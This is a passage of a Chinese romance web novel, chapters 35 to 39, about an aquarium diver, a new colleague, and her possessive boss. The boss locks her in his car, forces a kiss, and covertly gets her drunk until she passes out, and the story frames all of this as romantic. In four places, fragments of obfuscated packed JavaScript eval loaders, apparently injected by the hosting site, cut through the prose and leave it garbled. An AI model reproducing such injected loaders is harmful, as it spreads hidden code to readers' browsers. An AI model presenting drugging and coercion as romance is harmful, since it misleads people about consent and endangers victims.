“你回来了?”许晏霖面带疑惑。 景音嗯了声,让临时来帮忙的同事回了原部门,然后把办公室的门关上。 她平静地开了口:“晏霖,你来了也有半个月了,感觉怎么样。” “挺好的。” “觉得自己能待下去吗?” 许晏霖仍是那副不解的表情,回答的却斩钉截铁:“可以。” “好。” 景音带起点笑容:“那从今天起,我们的训练要从之前的基础转为更难的技巧练习。” 从上午的演出结束后,她们就一直在白鲸馆训练。进入严冬后这里越来越冷,到后来,两个人都有点冻得发抖。 许晏霖还是挺坚强,愣是没听她说一个“冷”字。 景音还是放弃了训练一上午的想法,时间差不多了就让许晏霖回了剧场。 她自己则留下来查看小猪的情况。 白鲸身上又出现了半年前见过的浅浅的划痕。它总能在平滑的池内找到凸起,要么是泳池的排水口,要么是不平整的砖片。 景音同它游了一会儿,直到白鲸开始冲她张嘴,她才想过来,早上代班的同事走得太早,还没来得及喂小猪。 她把自己严实地包紧了,去饲养部那边拿小猪的饲料。 在饲养部外等候的时候,她感觉有道视线一直沾在她身上。 从小到大这样的视线她感受过太多了。她没有在意,抱着装满鱼饲料的箱子回了剧场。 中午和谢薇吃饭,她被问到裴涟怎么没一起回来。 “裴总还要去别的海洋馆考察。”她简单地敷衍过去。 景音是股东这件事只有裴涟知道,别的同事都只当她是作为海洋剧场的负责人出差考察。 谢薇咬着筷子,若有所思道:“接下来没有你要考察的项目了?那剧场那边打算怎么改呀,是不是要重新装修。” 自从裴涟换了保安队之后,他打算整改海洋馆的事情,大家已经心照不宣。 景音却回答不上来谢薇的问题。 这趟出差,她好像什么都没做,纯粹只是起了一个陪同作用。 谢薇察觉她情绪不太对劲,便也没再多问。直到下午上班后,谢薇给她发消息说,新招来的同事有人想转部门,到她这来当潜水员。 景音还以为自己看错了。 从路图被辞退后,也有零星的人来海洋馆应聘,但条件都不太合适。 这个想转岗来的员工是饲养部的,据说应聘时就因为有潜水证而被人事推荐过潜水员岗,但对方还是拒绝了。 现在不知道怎么又改了主意。 谢薇说是因为对方发现饲养员要值班,而潜水员不用值班,工资还更高一些。 「明明当时都把条件说得很清楚了。」谢薇吐槽。 不多时,这个转岗的员工就被谢薇带来了海洋剧场。 办公室的门被敲了敲,谢薇推开门,身后跟着个年轻男人。高个子,皮肤很白,平心而论长得很帅气。 谢薇背对着那男人,对景音挤眉弄眼:“景教练,给你带新员工来了,他叫余夏。” 景音忙站起来接待。 余夏笑容礼貌,声音带有少年人的开朗:“多多指教。” 景音给他安排了位置,坐在许晏霖的对面,坐在工位上的许晏抬头瞥了他一眼。 到了下午那场演出时,余夏按例在剧场里观看。许晏霖扮演了潜水员的角色,与景音配合得很好。 演出结束后,景音趁热打铁,让余夏试着下水走位,和许晏霖两个人一起排练。 余夏对水肺的使用很熟练,完美胜任岗位的要求。景音第一次坐在剧场的观看席上,看着两个新人的排练,心里很平静。 结束后,她询问余夏感觉怎么样。 余夏认真看着她:“我觉得还能更好。” 景音:“你有什么建议?” 他淡淡笑了。 “我也会潜水,要不要试试让我也脱掉潜水服。” 景音眼神都亮了。 这天下午,他三人一直在研究演出剧情,终于在下班前设计好了一个蓝本。 景音突然觉得上班充满了动力。 第二天,她早早到了办公室。 余夏居然来的比她还早,坐在工位上,迎着晨光对她说早上好。 景音微怔,忽觉得他带笑的眉眼有些熟稔。 但她一时想不起来在哪里见过。 许晏霖这时还没到。办公室只他们两人,余夏拿了本子坐到她旁边,又跟她商讨起演出的蓝本。 两人谈得很热络。 景音觉得他对海洋馆的种种很了解,于是问他以前是不是做过类似的工作。 “啊。”余夏轻眨了眨眼,“没有啊,我才大学毕业,之前一直在家玩呢。可能我比较有天赋?” 景音被逗笑了。 中午下班前,群里冒出条消息,王馆长宣布了今晚是一月一度的聚餐。 景音向上划着消息,看见前两天群里的那场声讨。 在一个男同事提出为什么景音从不请假的疑义后,裴涟发了条消息。 「L:每位优秀员工的履历都绝对真实,你可以用任何方式向人事部求证。」 他说完后,其他员工也纷纷为景音说话。 「刺豚阿姨:我们检票的最清楚了,每天都能见着小景上班。」 「魔鬼鱼:你别光关注别人隐私啊!」 那男同事在群里跟景音道了歉,景音想装看不见也不行。 「花园鳗:没事的。」 「锤头鲨:@L,裴总别忘了改名哦~」 于是这场小插曲算是平静地结束。 景音看着王馆长在群里公布了本月生日员工的名单,上面有自己的名字。 她按惯例扣1报了名,然后熄了屏幕,和余夏去吃午饭。 许晏霖自从吃过几次食堂之后,觉得菜做得太油腻,中午也不再留在这了。 今天谢薇也请了假,景音的干饭搭子只有余夏一个人。 其实今天才算余夏来上班的第三天。景音跟他说了两句食堂什么菜好吃,然后端着餐盘自己去打饭了。 回过头,她发现余夏一直跟在她后面,和她打了一模一样的饭。 “跟着前人走路不怕磨坏鞋。”他微笑解释。 景音回以笑容,和他找了个位置坐下。 余夏在她对面,边吃饭,边有一搭没一搭地跟她聊着天。景音愈发觉得他说话一套一套的,但也许是他总提供正向反馈,再加上嘴甜,所以并不让人讨厌,反而很乐意跟他聊天。 “所以,景老师你还算专业对口呢。”余夏作思考状,“那你是什么时候学会游泳的?” “小的时候学的,大概刚上初中那会儿吧。”景音答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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景音一股无名火窜上心头,还没来得及和他争论,裴涟就头也不回地快步出了餐厅。 “咱们的老板怎么这么不讲道理。”余夏有点委屈地瞅着她,“他为什么不喜欢我啊。” 景音一阵头疼。 “别担心,我去跟他说。” 她扔下筷子,追了出去。 裴涟正向行政楼的方向走着,衣角被风带起,隔着段距离也仍觉得他身影肃然。景音小跑追了上去,一把拉住他袖子:“裴涟,你发什么疯啊?” 裴涟温然转过身。 他态度比刚才平和了些,声音似乎带上了凉凉的笑意:“不是说装不认识吗。” “那也不……”景音察觉不对,“我没说装不认识,我说当普通同事。” “那景总有什么指示呢。” 他连阴阳怪气都很礼貌。 景音感觉气撒在了棉花上,但她还是硬起声音来:“余夏的专业水平特别好,你不能因为看他不顺眼就辞退他。” “我有说过看他不顺眼吗。” “你刚才的表现,不就是看他不顺眼么。”景音指控,“就因为,他对我表现出好感,你就——” “哦。你觉得是因为这样。” 景音瞪着他:“那不然呢?” 裴涟看了眼餐厅的方向,周围四下无人。 他漫不经心移回眼神:“我要是说,他是别家海洋馆派来的间谍呢。” 36. 跟我走 景音先是错愕了一下。 然后,她比刚才更不解了。 “不是,珍珠岛都快入不敷出了。”她甚至有些想笑,“有什么值得被剽窃的经验吗?” “我很难跟你解释。” “我洗耳恭听。” 裴涟看着她,神情有些迟疑。 “他的打探对象不是珍珠岛,是我。” “?” 裴涟好像也觉得自己说的话很扯。他正欲继续说什么时,手机响了。 裴涟接起电话,听见对方的声音,明显不悦地拧起眉头。 “知道了。” 他最后回答了句,然后挂了电话。 景音还在等他的回答。 裴涟把手机放回大衣口袋,对她说:“余夏的事以后再说。他留下可以,但我要告诉你一件事:他不会待得太久,最多半年。” 景音垂下眼神:“无所谓。” 裴涟瞧着她,确定她是真心实意接受了。 “你清楚这事就行。还有别的事吗。” “没有了。” 他淡然点了点头,转身走了。 景音看着他的背影,慢半拍地反应过来,他是真的按照她的话去做,以普通同事的身份和她相处。 她说不上心里是什么滋味。 本来自己还没做好看见裴涟的准备。按照原本的计划,裴涟应该明天才回来,不知他怎么今天就回到了海洋馆,还来了食堂。 景音以前可从没在食堂见过他。 他现在的态度,倒真的和以前没什么区别,仿佛前几天的事都没有发生过。 这,不正是她想要的么。 景音整理了下心情,压下心间的酸涩感。她不再看裴涟离开的背影,转身回了餐厅。 余夏在玩手机,看见她来了,仰着头问:“裴老板不会把我开除了吧?” “不会。” 他似乎难掩笑意,拿起筷子继续吃饭。 景音有种感觉,不需要她告诉他结果,他也胸有成竹。 能让裴涟一个电话就允许了他存在的,景音猜测,余夏可能是环宇的人。 这就能解释的通他为什么那么了解海洋馆的运作。 景音有点愠怒,好不容易有这么优秀的同事,对方还目的不纯。可他又确实能为剧场提供一些进步,景音犹豫再三,决定走一步算一步。 裴涟既然能让他待在这,说明他没什么威胁。 于是,她还是像昨天一样和余夏相处。 晚上,他们去了二食堂吃自助。许晏霖和余夏都是第一次参加馆里的聚会,许晏霖只拿了些水果,倒是余夏,炸鸡薯条摆了一桌。 景音最近一直没什么胃口。 看着坐在对面的余夏暴饮暴食,还挺解压的。 大家吃的差不多了,王馆长让人推出了生日蛋糕。 一月份过生日的只有三人,景音作为本月寿星之一被邀到王馆长那桌去吃蛋糕。裴涟也在那桌坐着,景音特意站得离他远了点。 王馆长帮他们切好蛋糕,每人分了一块。 景音接过,想起了前两天她的生日。 陌生的城市,她和裴涟在飘着香气的面包店相遇,裴涟还给她在圣诞树下拍了照片。 然后,两人回了酒店,吃完了一整个奶油蛋糕。再后来…… 大脑开始自动播放起后面的事情。 景音仿佛又尝到了那蛋糕甜软滑腻的口感。 她偷偷扫了裴涟一眼。裴涟正矜然靠在座位上,像是对周遭的一切都不甚感兴趣。 唯独,感应到景音视线般,往这边看了过来。 她忙转移目光。 景音端了两盘蛋糕,往自己那桌走时无可避免地要从裴涟旁边经过。王馆长正在跟他说话:“……还想像上次一样,吃完饭去玩玩?” 她没听见裴涟的回答,脚步不停地走回座位。她给两个同事都带了蛋糕,余夏很高兴地接了过来。 景音把另一盘放在许晏霖面前:“吃点吧,低糖的,别饿着肚子。” 许晏霖便不好意思地接过来:“你不吃吗?” “吃够了。”她拿起自己的包,“你们先玩,我还有点事,先回去了。” 她正在下楼,听见身后有脚步声追了上来。 余夏在后面喊她:“景老师,这么早就走?” 景音回头等着他。 少年笑容肆意,边给自己围着围巾边说:“这么冷,我送你吧。” 她突然一阵恍惚。 不知道是不是心理障碍的原因,景音有很长一段时间是个脸盲。初中和高中同学的长相她基本全记不清了,大学时的也很模糊,唯独余夏,明明才认识两天,她却觉得很眼熟。 “你是新入职的,还是跟大家熟悉一下吧,还能跟晏霖做个伴。”景音婉拒了。 余夏轻笑了下。 “景老师,你说话怎么那么可爱呢。晏霖姐巴不得我走,你没看出来?” “……” “看来你也知道啊。”他指指楼上,“我走的时候,晏霖姐正去找裴老板说话呢。我一个人待着也没意思,还不如早点回家。” 说完这句话,余夏发现景音的眼神一点点暗了下来。 明明表情没怎么变化,整个人却好像比刚才蔫了许多。 “行。走吧。”她声音平淡。 两人一起出了餐厅。 余夏的车就停在路边。车子发动,从市中心往市郊开去。 余夏边开车,边漫不经心问:“景老师,你怎么不住市中心啊。高架上下班那么方便,你工资租一个小loft绰绰有余吧。” “住哪都一样。” “那差别可大了。别的不说,光吃这一条,市中心可比海洋馆那边丰富得多呢。” 景音浅声回答:“我市中心有套房子,只是不想住。” “哦,这样啊。” 景音已经进入待机状态,双眼发愣地看着外面。余夏本想还说什么,看了她一眼,想问的话被吞回了肚子里。 余夏之前有想过,裴涟喜欢的女人肯定是美的。 这姑娘果然美的惊人,却又比平常人瘦一圈。缩在副驾驶上的身影清泠又寂寥,黑亮的长发铺满肩头,显得一张小脸苍白无血色,神情瞧着已经虚游移于天际之外。 像一抹误入凡尘的冷色烟气。 余夏移回眼神,若有所思。 车子拐了个弯,本来瘫在座位上的景音突然直起身子,注视着窗外。 “怎么了?”余夏见状问她。 “……”景音收回视线,“没事。” “看到啥啦?” 正巧红灯亮了,余夏刹住了车。景音好像又回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴涟那副神情可以说得上是温柔:“跟我走。” 他不由分说拉着她走到车边。景音有些慌张:“你干什么?” 裴涟将她摁进了副驾驶。景音再去开车门,发现车门已经被他锁住。 这会儿功夫,余夏的车已经跑了。景音看到余夏的车屁股被撞了一个小坑,然而当裴涟从容坐在她旁边时,她所有思绪都被切断。 他车里还是那股熟悉的,八月夜桂花的味道。 后面的车在鸣喇叭。裴涟没有犹豫,也没看她,踩下油门疾驶出去。 景音大脑有些发涨。 裴涟的沉默让她不自觉害怕。她知道他平时自持冷静,但她知道他并不是个没有情绪波动的机器人。 就比如,高三毕业那年在渡轮上,把对她出言不逊的男同学给打了。 现在又做出这种明显不符合他性格的事,景音只能判断,他在生气。 裴涟的车速很快。车里一片沉寂,他不说话,景音也不说话。 但很快,景音看出点不对劲。 裴涟并没有顺着马路开上高架。在路岔口,他开向了另一条分路。 景音立刻清醒:“你不送我回去?” 裴涟扫了她一眼,声音很轻,又带着凉意。 “我什么时候说过要送你回去?” 37. 放纵者抽离 车子在外环宽阔的路上疾驶。 过快的车速让景音抓紧了车顶上的把手,她故作镇定思索着现在的情况。 如果裴涟真的在生气,那么原因,大约是她坐了余夏的车。 她搭谁的车回家,和他有什么关系…… 可随着推背感越来越强,景音的思虑慢慢被害怕代替。 车窗外的路灯化作虚影飞驰而过。车尾油门的轰鸣声,让她不自觉紧张地咬住了后牙。 她了一眼仪表盘,裴涟正在超速的边缘,指针危险地即将越过限制数字。 她紧张地小声叫他的名字:“裴涟,你开慢点,我害怕。” 正好到了路口,红灯亮起,他刹住了车。 景音看见他握着方向盘的指节有些发白。 裴涟的表情敛在阴影里。他沉默了两秒,才低声开口:“对不起。” 再起步,已经恢复了正常的速度。 景音松了口气,撒开把手。 “你到底想干嘛。”她声音虚弱,“大晚上的,带我来外环飙车?” “这是我回家的路。” 景音警醒:“……去你家干什么,我们只是普通同事,你忘了吗?” “上班是同事。”他语气轻轻,“现在下班了。” 景音从没听过这种狡辩。 她气不打一处来:“同事下班了就该是陌生人。” “你要跟我做陌生人吗景音。那我会疯掉的。” 他用最冷静的音色说出这句话。 景音的某根心弦颤了下。 大脑迟钝地运转着想说点什么,可竟一句话也讲不出。 “你的安全感不够,是吗。”他声音如常,“我承认我错了,其实我什么都可以给你。现在去我家,你想对我做什么,随意。” “我不会拒绝的。” “……你先冷静点吧。” “现在沦到你跟我说冷静了?不过也是,那样对你来说,应该不够。” 他盯着前方,轻声的笑。 “我们结婚,好不好?结婚了就能天天在一起,你再也不用有心理压力,我会陪你一点点康复,就连死了之后我们也能葬在一起——” “裴涟。”景音声音在抖,“我不会和你结婚,你别说了。把我放下,我自己回去。” “没关系……没关系,慢慢来。” 他喃喃地答。 他将车开进江畔一个别墅小区。 景音猜这里是他住的地方。果然,裴涟把车停在了某个院子的车库,下车为她打开副驾驶的门。 景音缩在位置上,男人的阴影已将她全部笼罩。 她抗拒着:“我不去。” “只要你不愿意,我不会对你做什么的,你知道的。”他轻抿了抿唇,露出一点僵硬的笑,“但我们需要聊一聊。聊完了,我送你回去。下车好吗。” 景音叹了口气。 他这副样子,如果不跟他把话说开,恐怕类似的事情还会有第二次、第三次。 景音下了车。裴涟为她关上车门,仍是拉着她的胳膊,好像怕她逃跑。 车库里有电梯。裴涟输入密码,带她进入电梯。 门关闭的一瞬间,景音就后悔了。 裴涟俯身吻了上来,她被他圈在电梯的墙边,动弹不得。 后脑勺被他紧紧摁住,连转一下头都做不到。景音觉得自己像被巨蟒死死地缠绕,呼吸被压出了肺,指尖也被压得生麻,虚弱到只能倚靠他的身体才能站立。 察觉到她的无力,裴涟放缓了动作。 他吻得很好,柔柔的触感让景音大脑眩晕。唇齿像尝到蜜意,连绵又痴缠的动作让她一切的顾忌都抛了空。 喉间不自觉发出声愉悦的轻哼。 景音先被自己吓了一跳。 裴涟亦轻笑了声,放开她。 “我好害怕你不喜欢我了。”他将她揽在怀里,“看来没有。是吗?” 景音绯红着脸,没有作答。 他语气忽变得强硬,在她耳边低声要求: “说''是''。” 景音还有些腿软,推他的动作便也像欲拒还迎般地暧昧。她暗恨身体的不争气,拿出了生平最冰冷的语气:“这就是你说的‘聊聊’?” 裴涟松开她,神情凉淡。 “都一样。” 他按下电梯2楼的按键,声音颇为无赖:“聊天也是用嘴。接吻也是用嘴。” “……” 电梯“叮”地应声而开。 景音看见这层并不是卧室,心里松了口气。 不知怎么,还夹杂点诡异的失落。 她在心底痛骂自己没有骨气。 裴涟带她出了电梯,拐进了一个房间。这里是书房,整面墙被做成了书柜,上面摆满了书。 景音晃眼一看,都是天文和物理相关的书籍。 尽管现在的氛围不太和谐,她仍忍不住感慨:“你的课外读物这么深奥。” “……课外读物。”他强调了一遍,低头看她:“这些都是我专业的参考资料。” “……” “?” 裴涟把她摁坐在书墙下的沙发上,又转身锁上了门。 景音对他的行为有些无语,但心底还夹杂着错愕:“你的什么专业?” “天体物理,我留学时候的专业。” 他坐在了书桌前,打开了电脑,开始在键盘上敲打起什么。 景音觉得记忆有些错乱:“你不是去上的商学院吗?” “谁告诉你的。”他皱了下眉头,“因为我在国内学的金融吗。” 大一的时候,裴涟的确是金融专业的学生。 她看着噼啪打字的裴涟。 她对他的了解的确少之又少,过了这么多年,她才算对他开始有了较详细的认知。 她心底的不安莫名松懈了些。 “你在干什么呢。”景音主动开了口。 “等下你就知道了。” 许是裴涟和她拉开的距离让她没那么紧张了,景音从身后抽了一本书看了起来。 专业的名词和术语扰的她发蒙。但根据书名,这算是本基础书,所以她依旧试着读了下去。 不出十分钟,裴涟叫她:“来。” 景音有些不舍地把书放回书架。 裴涟觉察到她的情绪波动,浅浅笑了下:“喜欢吗。” “……还挺有意思的。” 她被知识感染,心里比刚才平静了很多。然而看向裴涟的电脑,这种平静被瞬间打破了: “婚前财产证明 甲方:裴涟 身份证号:XXX 乙方:景音 身份证号:XXX 甲乙双方自愿结婚,为防止纠纷,特进行声明:以下甲方所有财产均赠予乙方。本协议一式两份,自双方签字之日起生效。 甲方财产: 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他只是恳求她不要走,再留下来和他待一会儿。 景音听着他的声音,始终做不到狠下心。于是两人下到一楼,决定找部电影看看。 裴涟拿出很多零食和气泡酒饮料,饮料还被他单独倒进杯里,放上冰块推到她面前。 他找了部近几年评分很高的喜剧。 景音很少看这类型的电影,这部也是第一次看。她很快被逗乐了,裴涟还光递给她零食。 晚上没怎么吃东西,眼下确实有些饿了。 景音吃了很多饼干和薯片。嘴巴干了,就拿起气泡酒,喝了一口又一口。 慢慢地,眼皮开始打架,脑袋也开始发沉。然而,当她意识到这件事时,已经困得不想说话了。 她不记得自己什么时候睡着的。 她只知道,自己是被痒醒的。 窗外天色已经大亮,景音发觉自己正躺在松软好闻的被窝里。视野内很陌生,墙漆深蓝,装饰很古典,身边的男人正一点一点舔舐她的指尖。 景音慌张地半坐了起来。 她这一觉睡得很沉。沉到,自己怎么跑到这里的,以及中间发生了什么,她都不知道。 她说不上是愤怒还是惊吓,声音带着抖:“裴涟,你都做了什么?” 38. 恐惧型依恋 裴涟的眼中全是潋滟的水色。 他疏懒地笑了笑:“我什么都没做。” 又改口:“什么都没对你做。” 景音觉察自己还完好地穿着里衣,心里的慌张才勉强压下去一些。 可是裴涟没穿衣服。 他两人还在同一个被窝里。 她的手心还被攥在裴涟的左手里,她忆起初醒时,那湿滑又痒的触感—— 他刚才在舔她的手指。 脑海里那幅画面带来的冲击,像电流般自指尖划遍全身。 景音拽走手掌,身体各处一切正常,没有疼痛,也没有异样。 他真的什么都没做。 那她该怎么跟他算这笔账? 景音大脑开始发懵,决定还是先解决一个迫在眉睫的问题。 “几点了?”她问。 “别担心。”裴涟温然回答,“我给你请了假。” 景音微恼,一骨碌爬起来,在房间里找到了自己的衣服。她一边穿衣,一边试图平复呼吸,不经意间瞥见了房间内的垃圾桶。 里面是些揉乱而零碎的卫生纸。 她突然有个离谱的猜测。 回过头,裴涟仍躺在床上,眼神阴郁地看着她。 她只能看见他上半身赤裸。 下半身,则很好地隐匿在被子里。 “景音。”他低声唤她,“过来,好不好。” 声音带着哑,景音却分不清,这是晨起的干哑,还是情欲带来的喑哑。 脚底像生了根,理智不让她靠近,也无法让她离开。 裴涟的声音带着诱哄,上挑的眼尾再也藏不住压制已久的靡丽艳色:“给我一只手,好吗。” “一只手,就够了。” 她回去了。 这次,站在了裴涟的床边。 他满脸祈求。 景音抬起只手,让他蹭了上来。裴涟的脸颊红润而燥热,他吻着她的指尖,小口地伸舌舔吮。 仿佛是神能给予的最好的礼物。 这副画面太有冲击力,景音无法思考地低头看着他,大脑被抽去了理智。她指尖微动,主动探进他的嘴中。 他的口腔很热。 景音清楚地感受到了他的唇齿,流连搅动着他的软舌。 指节被轻轻咬住了。 玻璃珠一样透明的眼中,是不加掩饰的,厚重的欲。 突如其来的痛感刺激到了神经,景音如梦初醒,想要抽离。 裴涟空着的那只手便拽紧了她,力度之大,让她倒在了床边。 他接着凑上来吻她,喘息有些粗—— 景音的衣服被弄湿了。 “……不是说,一只手就可以吗?”她咬牙。 痕迹布满衣衫的下摆。裴涟从床头抽出纸巾,小心翼翼擦拭起来。 而景音在猜测,同样的光景,昨晚发生过几次。 他真是变了。 她长舒了口气,想拿过他手里的纸:“我来吧。” 裴涟拒绝了。 他沉默不语,似乎对刚才自己的行为异常不满。 景音来不及深思他行为的意义,先冷下声音问他:“你昨晚给我喝的什么。” 他没说话。 “谁给你的?” “就只是酒而已。我自己试过,也找医生问过。”他答,“是无害的,只是会让你不经意醉倒。” 那酒尝着毫不辣口,她居然天真的以为,那只是低度数的气泡酒。 “把衣服脱了。”他声音很沉。 “……干什么。” 裴涟扭头,淡淡瞥了她一眼:“帮你洗干净。” “哦。”景音同样脸色微红,“不用。” 其实她有些头疼。 裴涟的种种举动都跳出了她对他的认知。这种难以预测的感觉让她茫然,更怕接下来的事情会失控。 她已经看到过一次幻象。 她的心理医生曾说过,那是精神分裂的前兆。景音只知道景绍良是个正常人,虽然他坏得彻底。 但她的亲生母亲,那个连名字都不知道的女子——她的精神状态,是否和常人一样? 除了无法说话,她是否还有精神上的疾病?自己的症状会不会是遗传? 答案未知。 景音同裴医生说希望能尽快面诊,而裴医生告诉她,她在参加一个著名的心理学讲座,暂时不在季城。 许是因为裴医生的姓氏,让景音额外信赖她。但现在她觉得,她不能等到她回来了。 景音找到床头的手机,看见时间已经过了九点半。 这阵空档,裴涟已经穿好了衣服。 空气中的甜腻味道仍在拉低着她的理智。景音强行站起了身,冲裴涟冷声:“送我去医院。” 裴涟微怔,随即回答:“好。” 半小时后,裴涟开车带她到了季城第一人民医院。 景音下了车,推却了裴涟的跟随:“我自己去。” 裴涟已经脸色不佳了一上午,听见她的拒绝,也没继续强迫。 “那我在停车场等你。” 景音点点头,独自进入医院。 她给自己挂了心理门诊的号,然后轻车熟路去了心理咨询科。 看见挂号医生的姓名显示在科室外的电子屏上时,她微微愣住。 周末已经过去,来看心理门诊的人很少。景音很快被叫号,她进入科室,推开了门诊办公室的门。 张桐穿着一身白色大褂坐在里面。见到景音进门,她露出笑容。 “……桐姐。”景音向她打招呼。 张桐没说什么,只是示意她面前的座位:“坐吧。” 景音局促地坐下来。 “我先看看你的病历。”张桐对她说。 景音嗯了一声,耐心等待。 张桐看着电脑,认真阅读景音的电子病历。几分钟过去了,她才转回身,像好朋友一样随意聊着天:“最近怎么样?” 景音已经准备好了措辞,将自己看见幻象的经历和担忧如实说出。只是,把裴涟的名字用“那个男生”代替。 以往的治疗,她也是这样称呼裴涟的。 张桐边听,边仔细敲打键盘记录。直到景音说完,她才问:“你们上次见面是什么时候,又再出现过相似的症状吗?” “是……刚才。”景音回答,“再没出现过了。” 张桐微微思索,才开始跟她讲了起来。 “现有的情况并不能确定这是精神分裂的前兆。那次幻觉,可能是你的大脑安静了太久,在突然的刺激下产生的偶发变态反应。” 景音松了口气:“那是不是说明,我应该没有遗传性的心理疾病?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没关系,放轻松。”张桐安慰她,“我们聊点别的。你最近工作里,有没有很想达成的职业目标,或者不止工作,其他方面也可以。” “有。”景音回答,“我想放生我们馆里的一条白鲸,但是有点难以达成。” 张桐拧了下眉,但很快舒展开:“还有吗?” “嗯……还有,想完整地带出一个徒弟,算不算。” “算的。先把这个当做短期的职业目标,完成后,你的心理会和现在大不相同。你会找到只属于自己的价值——但如果失败了,也不要气馁,我们的路还很广,随时可以换个目标。” “好。”她听话地答应。 张桐示意她,如果没什么其他的问题,问诊就可以结束了。 景音坐着没动,犹疑不决。张桐便问她:“还有什么,尽管说。” “您有没有什么其他方面的建议?”景音迟疑地开口,“比如说,对待伴侣的建议。” 张桐坦然地笑了。 她看了一眼病历:“你和那个男生是从高中认识的吧?这么多年的忠诚,足以说明他有陪伴你一生的潜质。当然,你的高回避行为可能会产生些影响……不过,我还是建议你,放松下来,享受他带给你的一切。” 39. 胜利者的假惺惺 裴涟独自坐在车内。 凌乱的思绪扰得他头疼。他随意找了一个电台,听了会儿早间播报,又焦躁地关闭了车内的声音。 他从扶手箱里拿出一个精致的玻璃瓶。 里面橙黄色的液体只剩一半。长指在瓶口按了两下,空气中顿时洒满细小的雾。 他轻轻闭上眼,靠回座椅。 轻柔而温暖的味道,一点点抚平了焦躁的神经。 一通电话不合时宜地响起。 裴涟拿起手机,按下接听。余夏的声音从里面传了出来: “喂,你把人整到哪去了,留下烂摊子等我给你收拾呢?” “你没有这个能力的话,就不用在这待了。”裴涟平静回答。 “表演的事肯定能解决啊。就是这个许小姐,可真难哄,你说你没事干把她招进来干吗?” 裴涟静默两秒:“景音招的。” “她招你就不反对啊!我勒个大表哥,她的想法是圣旨还是咋的,你就这么听她的话?” 裴涟没回答,眼神已经散到了别处。 “不说别的,就是出于同事角度我也得告诉你,我看景老师挺重视许晏霖的,你可得提醒着她点。我昨天暗示过她了,但她好像一直揣着明白装糊涂呢。” “你和许晏霖,有什么区别吗。” 余夏嘿嘿地笑:“这,不都怪我二姨夫,听说你带了个漂亮女孩儿出差,非把我打发来这个地方刺探情报么。我这不也正在积极帮景老师的忙吗。” “……” “嗨,其实也不怪二姨夫。哥你这么多年都不谈恋爱,他也是太好奇……” 两人又聊了些有的没的,多半是余夏在邀功。裴涟听出他其实是怕惹到自己生气,态度不自觉缓和了些。 挂了电话,裴涟独自坐在车内良久。 余夏是他表弟,被他爸派来盯梢的。 打着感情牌的幌子,实际更多的是想看看,他在这座小小的海洋馆究竟在搞什么。 为什么迟迟不愿去公司。 余夏是早晚要走的。他试着想象了一下,如果许晏霖和余夏都离开海洋馆了,景音会怎么做。 他总觉得,她还是会如常接受,然后坚持下去。她身上像有股韧性,虽然脾性敏感易变,但她从没真正放弃拯救自己。 他后悔的是,没有一直待在她身边。 脑海里回响起有人说过的一句话:“你离她远一点,就是对她最好的帮助。” 裴涟叹了口气。在很多个彷徨的瞬间,他都不知道该怎么做。 就连当下,也对自己上午的行为产生了后悔。 他突然厌恶起自己。 过了很久,他从后视镜看到景音正向车这边走来。 很快,景音打开车门坐上副驾。 见她手里拎着一大兜药,裴涟便再难以平静:“你,怎么了?” 景音的包在车上。她嗅出车内的香气似乎更浓郁了些,尽量把药都塞进包里,平静回应:“没事。” “医生都说了什么?” “开车吧,我饿了。” 她态度坚定,裴涟很快放弃了继续追问的想法。车子开到了附近一家很有名的早餐店,两人各自点了碗热气腾腾的馄饨。 景音的食欲好多了,连汤都喝得快要见底。 裴涟见她吃成这样,稍稍安下点心。 景音放下碗,宣布:“吃饱了。” “嗯。” 她探究地看向他。 从上午起床发生了那件事后,裴涟一直萎靡不振。这种状态在他身上很少见,景音猜测着他的心理,不自觉在心底觉得有趣。 两人回到了车上。 他发动了车,才想起问她:“去哪。” “回我公寓吧。”她故意冷着声音,“我想洗个澡,换件衣服。” 果然,裴涟的神色更加阴翳,沉默着发动了车。 景音偷看他的侧脸。 唇线轻抿着,带出冷欲的线条,颜色是饱满的淡红。他懒看着前方,但似乎并没集中全部精神,连本该握着方向盘的手都轻轻搭着。 和早上那副模样大相庭径。 他很沉默。 车停在公寓下时,景音下车,对方却迟迟没有动静。 于是她讲头探回车里:“你不上去吗?” 裴涟摇摇头:“我在车里等你。” 她觉得好笑,并没有强求。 回公寓整理了一番,她重新回到裴涟的车上。这次他没再问她目的地,直径将车开到海洋馆。 景音本想对他说些什么,又觉得,是该对昨晚他的行为做出些惩罚。 ——将她迷倒,太过分了。 于是她让自己一言不发地下了车。 现在距离下午上班还有一段时间。景音回到剧场,余夏正在办公室里玩游戏机。 “景老师,来了啊。”他笑眯眯冲她问好。 景音还有点别扭,因为昨天这孩子还把自己“卖”给了裴涟。 她嗯了一声算是回应。 余夏打游戏打得认真,没注意到她的情绪。 景音漫无目的地看了会儿手机,听着余夏的游戏声音,想起了一件事。 她没话找话地开了个头:“小余,你去咱市少年宫上过辅导班没?” 余夏很专心,延迟回答她:“……啊?你问这个干嘛呀。” “我觉得你有点像我小时候认识的一个朋友。” 景音也不是很确定。 她只是觉得余夏看着眼熟,像在哪里见过。昨天坐车路过少年宫时,她才恍然想起,余夏有点像小时候那个救她落水的男孩。 她对那个男孩早已没了印象。他不是游泳班的同学,自落水后也再没见到过他。 景音对他的全部印象,仅剩他家那辆黑色的、又大又宽敞的车,还有他对她说的那句话。 “总有人希望你活下去。” 